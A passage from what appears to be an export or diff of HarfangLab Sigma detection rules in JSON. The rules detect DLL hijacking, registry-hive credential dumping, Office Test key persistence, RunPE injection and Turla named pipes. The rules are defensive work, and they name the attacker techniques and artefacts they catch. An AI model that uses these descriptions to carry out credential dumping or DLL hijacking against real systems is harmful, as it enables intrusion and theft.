classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fhmanagew.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\fhsvcctl.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "798d887e-cd4b-4b6d-8d33-a6fb2f774b7e",
+  "rule_name": "DLL Hijacking via fhmanagew.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fhmanagew.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "799ad1f2-f955-49de-b1e0-3750739c3a3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094900Z",
+  "creation_date": "2026-03-23T11:45:34.094902Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094907Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/threat-intelligence/clipping-silver-sparrows-wings/",
+    "https://attack.mitre.org/techniques/T1217/"
+  ],
+  "name": "t1217_quarantine_discovery_sqlite3.yml",
+  "content": "title: Quarantine Database Queried via sqlite3\nid: 799ad1f2-f955-49de-b1e0-3750739c3a3b\ndescription: |\n    Detects the XProtect's quarantine database being read using sqlite3.\n    Adversaries may read the XProtect's quarantine database to check the URL where its payload has been downloaded from.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://redcanary.com/blog/threat-intelligence/clipping-silver-sparrows-wings/\n    - https://attack.mitre.org/techniques/T1217/\ndate: 2024/06/12\nmodified: 2025/06/09\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1217\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '/sqlite3'\n        CommandLine|contains: 'LSQuarantine'\n\n    exclusion_firefox:\n        ParentImage: '/Applications/Firefox.app/Contents/MacOS/firefox'\n\n    exclusion_florp:\n        ParentImage: '/Applications/Floorp.app/Contents/MacOS/floorp'\n\n    exclusion_beyondtrust:\n        ParentImage: '/Library/PrivilegedHelperTools/com.beyondtrust.interrogator'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "799ad1f2-f955-49de-b1e0-3750739c3a3b",
+  "rule_name": "Quarantine Database Queried via sqlite3",
+  "rule_description": "Detects the XProtect's quarantine database being read using sqlite3.\nAdversaries may read the XProtect's quarantine database to check the URL where its payload has been downloaded from.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-12",
+  "rule_modified_date": "2025-06-09",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1217"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "799bf7ed-6853-4d17-898d-d80f3463dd20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627782Z",
+  "creation_date": "2026-03-23T11:45:34.627785Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627790Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/002/"
+  ],
+  "name": "t1003_002_sensitive_reg_save.yml",
+  "content": "title: SAM or SECURITY Hives Dumped from Registry\nid: 799bf7ed-6853-4d17-898d-d80f3463dd20\ndescription: |\n    Detects a registry save to file operation performed on the SAM or SECURITY registry hives.\n    The Security Account Manager (SAM) and SECURITY registry hives in Microsoft Windows store sensitive user authentication and security policy information.\n    These operations are a common tactic used by attackers to extract sensitive information that can be used for lateral movement.\n    It is recommended to verify the legitimacy of the export and check for unusual network connections and authentications to the target machine.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/002/\ndate: 2024/06/10\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SaveKey'\n        TargetObject|startswith:\n            - 'HKLM\\SECURITY'\n            - 'HKLM\\SAM'\n\n    # This is handled by the rule 90acffa0-c732-46ee-84c6-fd4eafaad163\n    filter_secretsdump:\n        ProcessImage: '?:\\Windows\\system32\\svchost.exe'\n        HivePath:\n            - '?:\\windows\\system32\\\\????????.tmp'\n            - '?:\\Windows\\Temp\\\\????????.tmp'\n        TargetObject:\n            - 'HKLM\\SECURITY'\n            - 'HKLM\\SAM'\n\n    # This is handled by the rule caa50242-5304-4ee7-8016-d72b99d151af\n    filter_donpapi:\n        ProcessImage: '?:\\Windows\\system32\\svchost.exe'\n        HivePath:\n            - '?:\\windows\\system32\\\\????????????.log'\n            - '?:\\Windows\\Temp\\\\????????????.log'\n        TargetObject:\n            - 'HKLM\\SECURITY'\n            - 'HKLM\\SAM'\n\n    filter_lsass:\n        Image: '?:\\Windows\\System32\\lsass.exe'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n            - '?:\\Windows\\Downloaded Program Files\\' # ActiveX\n\n    exclusion_bmcsoftware:\n        ProcessAncestors|contains: ':\\Program Files\\BMC Software\\BladeLogic\\RSC\\RSCDsvc.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "799bf7ed-6853-4d17-898d-d80f3463dd20",
+  "rule_name": "SAM or SECURITY Hives Dumped from Registry",
+  "rule_description": "Detects a registry save to file operation performed on the SAM or SECURITY registry hives.\nThe Security Account Manager (SAM) and SECURITY registry hives in Microsoft Windows store sensitive user authentication and security policy information.\nThese operations are a common tactic used by attackers to extract sensitive information that can be used for lateral movement.\nIt is recommended to verify the legitimacy of the export and check for unusual network connections and authentications to the target machine.\n",
+  "rule_creation_date": "2024-06-10",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "79a1e2a3-10db-45b0-820f-0c1c86c67d8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089461Z",
+  "creation_date": "2026-03-23T11:45:34.089463Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089468Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#defaultaccount",
+    "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/",
+    "https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/",
+    "https://attack.mitre.org/techniques/T1078/001/"
+  ],
+  "name": "t1078_001_defaultaccount_enabled.yml",
+  "content": "title: DefaultAccount Account Enabled\nid: 79a1e2a3-10db-45b0-820f-0c1c86c67d8e\ndescription: |\n    Detects the activation of the DefaultAccount account, also known as the Default System Managed Account (DSMA).\n    This account is disabled by default and can be used by attackers to maintain access to victim system via a persistence.\n    It is recommended to investigate this action to determine its legitimacy.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#defaultaccount\n    - https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/\n    - https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/\n    - https://attack.mitre.org/techniques/T1078/001/\ndate: 2023/12/12\nmodified: 2025/02/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1078.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        Source: 'Microsoft-Windows-Security-Auditing'\n        EventID: 4722\n        TargetSid|endswith: '-503'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "79a1e2a3-10db-45b0-820f-0c1c86c67d8e",
+  "rule_name": "DefaultAccount Account Enabled",
+  "rule_description": "Detects the activation of the DefaultAccount account, also known as the Default System Managed Account (DSMA).\nThis account is disabled by default and can be used by attackers to maintain access to victim system via a persistence.\nIt is recommended to investigate this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-02-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "79ab02be-b5f1-4e8e-a6c0-279428aa8529",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071495Z",
+  "creation_date": "2026-03-23T11:45:34.071497Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071501Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/",
+    "https://attack.mitre.org/techniques/T1137/002/"
+  ],
+  "name": "t1137_002_office_test_key.yml",
+  "content": "title: Microsoft Office Test Key Created\nid: 79ab02be-b5f1-4e8e-a6c0-279428aa8529\ndescription: |\n    Detects the creation of the Office Test key.\n    Test keys are used internally by Microsoft while developing Office and should never be set in normal circumstances.\n    Office Test registry keys can be used to force Microsoft Office to load DLLs pointed to by the Windows registry and therefore act as a persistence mechanism.\n    It is recommended to investigate the process that set the registry value for suspicious activities as well as to analyze the file pointed to by the registry value for malicious content.\n    It is also recommended to investigate unsigned DLLs loaded by winword.exe with the name matching the ergistry value and malicious behaviors performed by winword.exe to determine if the persistence mechanism succeeded.\nreferences:\n    - https://unit42.paloaltonetworks.com/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/\n    - https://attack.mitre.org/techniques/T1137/002/\ndate: 2021/06/24\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1137.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType:\n            - 'CreateKey'\n            - 'CreateValue'\n            - 'SetValue'\n        TargetObject:\n            - 'HKU\\\\*\\Software\\Microsoft\\Office test\\Special\\Perf\\\\*'\n            - 'HKLM\\Software\\Microsoft\\Office test\\Special\\Perf\\\\*'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_windowsupdatebox:\n        ProcessParentImage|endswith:\n            - '\\WindowsUpdateBox.exe'\n            - '\\msiexec.exe'\n        Details:\n            - '?:\\Program Files (x86)\\Microsoft Readiness Toolkit for Office\\Usage365.dll'\n            - '?:\\Program Files (x86)\\Microsoft Readiness Toolkit for Office\\x64\\Usage365.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "79ab02be-b5f1-4e8e-a6c0-279428aa8529",
+  "rule_name": "Microsoft Office Test Key Created",
+  "rule_description": "Detects the creation of the Office Test key.\nTest keys are used internally by Microsoft while developing Office and should never be set in normal circumstances.\nOffice Test registry keys can be used to force Microsoft Office to load DLLs pointed to by the Windows registry and therefore act as a persistence mechanism.\nIt is recommended to investigate the process that set the registry value for suspicious activities as well as to analyze the file pointed to by the registry value for malicious content.\nIt is also recommended to investigate unsigned DLLs loaded by winword.exe with the name matching the ergistry value and malicious behaviors performed by winword.exe to determine if the persistence mechanism succeeded.\n",
+  "rule_creation_date": "2021-06-24",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1137.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "79c0c417-e8bb-4ab6-9850-abefe4d3b50d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070302Z",
+  "creation_date": "2026-03-23T11:45:34.070305Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070309Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@coormac/hta-to-net-dll-s-malware-analysis-b7170574331d",
+    "https://www.virustotal.com/gui/file/132ff32cdc874b28698160c4af6fd87d08c236727d8a952ad3b002d887b209bf",
+    "https://www.virustotal.com/gui/file/11c215cb0e3ce441efd48d331622dcb714af2e2349b81da8368f5e2f7ad1c951"
+  ],
+  "name": "t1055_suspicious_runpe_injection.yml",
+  "content": "title: Suspicious RunPE Injection\nid: 79c0c417-e8bb-4ab6-9850-abefe4d3b50d\ndescription: |\n    Detects a suspicious command-line indicative of the RunPE technique used to inject and execute a Portable Executable (PE) file within the memory space of a newly created process.\n    This behavior involves creating a suspended process, allocating memory, writing PE headers and sections into the target process, and modifying the thread context to redirect execution.\n    This is a common technique used by malware to evade detection and run payloads reflectively in memory.\n    It is recommended to investigate the parent process to determine legitimacy as well as to look for other malicious actions on the host.\nreferences:\n    - https://medium.com/@coormac/hta-to-net-dll-s-malware-analysis-b7170574331d\n    - https://www.virustotal.com/gui/file/132ff32cdc874b28698160c4af6fd87d08c236727d8a952ad3b002d887b209bf\n    - https://www.virustotal.com/gui/file/11c215cb0e3ce441efd48d331622dcb714af2e2349b81da8368f5e2f7ad1c951\ndate: 2025/05/16\nmodified: 2025/06/02\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '#by-unknown'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "79c0c417-e8bb-4ab6-9850-abefe4d3b50d",
+  "rule_name": "Suspicious RunPE Injection",
+  "rule_description": "Detects a suspicious command-line indicative of the RunPE technique used to inject and execute a Portable Executable (PE) file within the memory space of a newly created process.\nThis behavior involves creating a suspended process, allocating memory, writing PE headers and sections into the target process, and modifying the thread context to redirect execution.\nThis is a common technique used by malware to evade detection and run payloads reflectively in memory.\nIt is recommended to investigate the parent process to determine legitimacy as well as to look for other malicious actions on the host.\n",
+  "rule_creation_date": "2025-05-16",
+  "rule_modified_date": "2025-06-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "79c1dbfa-d090-429f-85e6-f45fbbbfa7ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609220Z",
+  "creation_date": "2026-03-23T11:45:34.609224Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609231Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf",
+    "https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra",
+    "https://attack.mitre.org/techniques/T1106/"
+  ],
+  "name": "t1106_turla_named_pipe_connection.yml",
+  "content": "title: Named Pipe Connection linked to Turla\nid: 79c1dbfa-d090-429f-85e6-f45fbbbfa7ab\ndescription: |\n    Detects the connection to a Named Pipe pertaining to the Turla attacker group.\n    The Turla threat group has used specific named pipes for C2 communications and lateral movement within compromised networks.\n    It is recommended to monitor for any new lateralization alerts.\nreferences:\n    - https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf\n    - https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra\n    - https://attack.mitre.org/techniques/T1106/\ndate: 2022/07/11\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n  - attack.execution\n  - attack.t1106\n  - attack.t1559\n  - classification.Windows.Source.NamedPipe\n  - classification.Windows.ThreatActor.Turla\n  - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection:\n        PipeName:\n            - '\\sdlrpc'\n            - '\\comnap'\n            - '\\iehelper'\n            - '\\userpipe'\n            - '\\atctl'\n\n    condition: selection\nlevel: high\n#level: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "79c1dbfa-d090-429f-85e6-f45fbbbfa7ab",
+  "rule_name": "Named Pipe Connection linked to Turla",
+  "rule_description": "Detects the connection to a Named Pipe pertaining to the Turla attacker group.\nThe Turla threat group has used specific named pipes for C2 communications and lateral movement within compromised networks.\nIt is recommended to monitor for any new lateralization alerts.\n",
+  "rule_creation_date": "2022-07-11",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "79dbc640-7be1-4fe3-8549-f832dde6e9dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589024Z",
+  "creation_date": "2026-03-23T11:45:34.589027Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589035Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://twitter.com/falsneg/status/1581769422296883200",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_phoneactivate.yml",
+  "content": "title: DLL Hijacking via phoneactivate.exe\nid: 79dbc640-7be1-4fe3-8549-f832dde6e9dd\ndescription: |\n    Detects potential Windows DLL Hijacking via phoneactivate.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://twitter.com/falsneg/status/1581769422296883200\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'phoneactivate.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\rasty_jitter64.dll'\n            - '\\rsaenh.dll'\n            - '\\slc.dll'\n            - '\\sppcext.dll'\n            - '\\windows.ui.immersive.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "79dbc640-7be1-4fe3-8549-f832dde6e9dd",
+  "rule_name": "DLL Hijacking via phoneactivate.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via phoneactivate.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "79f2b027-0261-441e-a1d1-d569515a7c9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
